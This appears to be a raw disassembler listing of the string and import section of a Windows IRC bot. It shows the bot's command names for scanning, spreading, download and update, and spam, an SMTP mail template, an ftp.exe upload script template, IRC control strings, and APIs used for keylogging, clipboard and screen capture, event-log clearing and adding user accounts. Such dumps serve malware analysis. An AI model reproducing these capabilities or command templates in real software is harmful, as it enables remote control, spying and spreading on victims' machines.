aC_a		db 'c_a',0              ; DATA XREF: sub_401C87+3FFFo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401C87+4026o
		align 10h
aPsc		db 'psc',0              ; DATA XREF: sub_401C87+403Bo
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401C87+4050o
aAsc		db 'asc',0              ; DATA XREF: sub_401C87+4065o
aNetsend	db 'netsend',0          ; DATA XREF: sub_401C87+407Ao
aNs		db 'ns',0               ; DATA XREF: sub_401C87+408Fo
		align 4
aEmail		db 'email',0            ; DATA XREF: sub_401C87+40A4o
asc_439A92	db ' ',0                ; DATA XREF: sub_401C87+40F0o
a_:					; DATA XREF: sub_401C87+40F5o
		unicode	0, <_>,0
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401C87+4191o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
unk_439AE4	db  2Dh	; -		; DATA XREF: sub_401C87+4205o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401C87+4252o
aHcon		db 'hcon',0             ; DATA XREF: sub_401C87+4263o
		align 4
unk_439B18	db  2Dh	; -		; DATA XREF: sub_401C87+42B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
unk_439B54	db  2Dh	; -		; DATA XREF: sub_401C87+4353o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_439B8C	db  2Dh	; -		; DATA XREF: sub_401C87+4363o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_439BC0	db  2Dh	; -		; DATA XREF: sub_401C87+4393o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401C87+43B9o
		align 4
unk_439BFC	db  2Dh	; -		; DATA XREF: sub_401C87+43E0o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_439C1C	db  2Dh	; -		; DATA XREF: sub_401C87+4451o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401C87+44BDo
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401C87+44CEo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401C87+44F3o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSS_0		db '-s:%s',0            ; DATA XREF: sub_401C87+4511o
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401C87+4528o
aOpen_1		db 'open',0             ; DATA XREF: sub_401C87+452Do
		align 4
unk_439CAC	db  2Dh	; -		; DATA XREF: sub_401C87+4541o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 4
unk_439CD4	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4061CFo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_439D04	db  2Dh	; -		; DATA XREF: sub_401C87+466Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_11	db 'Failed to start scan, port is invalid.',0
		align 4
unk_439D38	db  2Dh	; -		; DATA XREF: sub_401C87+46CBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start scan, no IP specified.',0
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_401C87+4809o
		align 4
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_401C87+4810o
		align 10h
unk_439D80	db  2Dh	; -		; DATA XREF: sub_401C87+483Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_439DE8	db  2Dh	; -		; DATA XREF: sub_401C87+4894o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_13	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_439E20	db  2Dh	; -		; DATA XREF: sub_401C87+4973o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_439E70	db  2Dh	; -		; DATA XREF: sub_401C87+49CCo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_14	db 'Failed to start scan thread, error: <%d>.',0
		align 4
dword_439EAC	dd 54434101h, 204E4F49h, 17325hdword_439EB8	dd 5D73255Bh, 25202A20h, 73252073h, 0dword_439EC8	dd 5D73255Bh, 73253C20h, 7325203Eh, 0unk_439ED8	db  2Dh	; -		; DATA XREF: sub_401C87+4C58o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
unk_439F14	db  2Dh	; -		; DATA XREF: sub_401C87+4CB1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_15	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_439F4C	db  2Dh	; -		; DATA XREF: sub_401C87+4D53o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_439F88	db  2Dh	; -		; DATA XREF: sub_401C87+4DACo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_439FCC	db  2Dh	; -		; DATA XREF: sub_401C87+4E91o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_439FF8	db  2Dh	; -		; DATA XREF: sub_401C87+4EEAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_16	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_43A038	dd 234032Dh, 6E6F6C63h,	3027365haCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
dword_43A068	dd 234032Dh, 6E6F6C63h,	3027365haFailedToSta_17	db '- Failed to start clone thread, error: <%d>.',0
		align 4
unk_43A0A4	db  2Dh	; -		; DATA XREF: sub_401C87+5011o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
dword_43A0C8	dd 234032Dh, 656C6966h,	2D0302hunk_43A0D4	db  2Dh	; -		; DATA XREF: sub_401C87+50C6o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
unk_43A104	db  2Dh	; -		; DATA XREF: sub_401C87+512Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_18	db 'Failed to start search thread, error: <%d>.',0
unk_43A140	db  2Dh	; -		; DATA XREF: sub_401C87+51DEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_43A164	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401C87+51E9o
		dd 7325203Ah, 0
dword_43A180	dd 73257325h, 6578652Eh, 0dword_43A18C	dd 234032Dh, 61647075h,	3026574haDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
dword_43A1B8	dd 234032Dh, 61647075h,	3026574haFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
		align 8
dword_43A1F8	dd 234032Dh, 61647075h,	3026574haBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
aPartS		db 'PART %s',0          ; DATA XREF: sub_401C87+538Bo
aS_26		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+53C4o
		align 10h
aJoinSS_2	db 'JOIN %s %s',0       ; DATA XREF: sub_401C87+53F8o
		align 4
aS_27		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+5431o
		align 4
aNickS_2	db 'NICK %s',0          ; DATA XREF: sub_401C87+5441o
aS_28		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+5479o
		align 4
dword_43A274	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401C87+549Ao
		dd 203A2973h, 7325h
dword_43A290	dd 45444F4Dh, 732520hdword_43A298	dd 0A0D7325h, 0	dword_43A2A0	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401C87+5524o
		dd 203A2973h, 7325h
dword_43A2BC	dd 0A0D7325h, 0	dword_43A2C4	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401C87+5592o
		dd 25203A29h, 73h
dword_43A2E0	dd 45444F4Dh, 0D732520h, 0Ahunk_43A2EC	db  2Dh	; -		; DATA XREF: sub_401C87+55CBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
a332_2		db '332',0              ; DATA XREF: sub_401C87+55DBo
aPartS_0	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+55F2o
		align 4
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5621o
		align 4
dword_43A328	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401C87+562Eo
dword_43A33C	dd 54434101h, 204E4F49h, 17325hunk_43A348	db  2Dh	; -		; DATA XREF: sub_401C87+569Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
unk_43A364	db  2Dh	; -		; DATA XREF: sub_401C87+56F7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_43A384	db  2Dh	; -		; DATA XREF: sub_401C87+5739o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
aNickS_3	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+5794o
		align 10h
unk_43A3B0	db  2Dh	; -		; DATA XREF: sub_401C87+57A8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
asc_43A3D4:				; DATA XREF: sub_401C87+57DBo
					; sub_401C87+57F9o
		unicode	0, <!~>
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401C87+5829o
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401C87+583Do
		align 4
unk_43A42C	db  2Dh	; -		; DATA XREF: sub_401C87+584Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401C87+5896o
		align 10h
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401C87+58AAo
		align 4
unk_43A4AC	db  2Dh	; -		; DATA XREF: sub_401C87+58B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
unk_43A4D8	db  2Dh	; -		; DATA XREF: sub_401C87+590Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_43A4F8	db  2Dh	; -		; DATA XREF: sub_401C87+592Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5938o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+594Do
		align 4
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5960o
		align 4
aNotice_2	db 'NOTICE',0           ; DATA XREF: sub_40764A+Fo
		align 10h
aPrivmsg_2	db 'PRIVMSG',0          ; DATA XREF: sub_40764A+16o
aS_12		db '%s',0               ; DATA XREF: sub_40764A+3Bo
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40764A+58o
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4076E5+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4076E5+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4076E5+2Bo
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4076E5+38o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4076E5+45o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4076E5+52o
		align 4
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4076E5+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4076E5+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4076E5+79o
		align 10h
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4076E5+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4076E5+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4076E5+A0o
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4076E5:loc_4077EDo
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4076E5:loc_40781Ao
		align 4
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4076E5+14Ao
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4076E5+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4076E5+15Fo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4076E5+16Co
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4076E5+179o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4076E5+186o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4076E5+193o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4076E5+1A0o
		align 10h
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4076E5:loc_4078DDo
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4076E5+200o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4076E5+20Do
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4076E5+21Ao
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4076E5:loc_407944o
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4076E5+270o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4076E5+278o
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4076E5+285o
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4076E5+292o
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4076E5+29Fo
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4076E5+2ACo
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4076E5+2B9o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4076E5+2C6o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4076E5:loc_4079F7o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4076E5+31Ao
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4076E5+327o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4076E5:loc_407A3Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4076E5+35Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4076E5+36Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4076E5+379o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4076E5+386o
		align 4
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4076E5+393o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4076E5+3A0o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4076E5+3ADo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4076E5:loc_407AEAo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4076E5:loc_407B12o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4076E5+43Eo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4076E5+446o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4076E5+453o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4076E5+460o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4076E5+46Do
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4076E5+47Ao
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4076E5+487o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4076E5+494o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4076E5+4A1o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4076E5+514o
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4076E5+525o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4076E5+52Do
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4076E5+53Ao
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4076E5+547o
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4076E5+554o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4076E5+561o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4076E5+56Eo
		align 10h
aSocket		db 'socket',0           ; DATA XREF: sub_4076E5+57Bo
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4076E5+588o
aConnect	db 'connect',0          ; DATA XREF: sub_4076E5+595o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4076E5+5A2o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4076E5+5AFo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4076E5+5BCo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4076E5+5C9o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4076E5+5D6o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4076E5+5E3o
		align 4
aSend_0		db 'send',0             ; DATA XREF: sub_4076E5+5F0o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4076E5+5FDo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4076E5+60Ao
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4076E5+617o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4076E5+629o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_4076E5+631o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4076E5+63Eo
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_4076E5+64Bo
		align 4
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4076E5+658o
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4076E5+665o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4076E5+672o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4076E5+67Fo
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4076E5+68Co
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4076E5+699o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4076E5+6A6o
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4076E5:loc_407EC4o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4076E5+7F0o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4076E5+7F8o
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4076E5+805o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4076E5+812o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4076E5+81Fo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4076E5+82Co
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4076E5+839o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4076E5+846o
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4076E5+853o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4076E5+860o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4076E5+8D2o
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4076E5:loc_407FE4o
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4076E5+90Co
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4076E5+914o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4076E5+921o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4076E5:loc_408043o
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4076E5+96Fo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4076E5+977o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4076E5+984o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4076E5+991o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4076E5+99Eo
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4076E5+9ABo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4076E5+9B8o
		align 4
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4076E5+9C5o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4076E5+9D2o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4076E5+9DFo
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4076E5+9ECo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4076E5+9F9o
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4076E5:loc_40815Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4076E5+A87o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4076E5+A8Fo
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4076E5:loc_4081A9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4076E5+AD1o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4076E5+AD9o
		align 10h
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4076E5:loc_4081F3o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4076E5+B1Bo
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4076E5+B23o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4076E5+B30o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4076E5+B3Do
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4076E5:loc_408267o
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4076E5+B8Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4076E5+B97o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4076E5:loc_4082B1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4076E5+BD9o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4076E5+BE1o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4076E5+BEEo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4076E5+BFBo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4076E5+C08o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4076E5+C15o
		align 4
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4076E5:loc_40834Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4076E5+C77o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4076E5+C7Fo
		align 10h
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+28o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+5Co
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+90o
		align 10h
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+C4o
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+F8o
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+12Co
		align 4
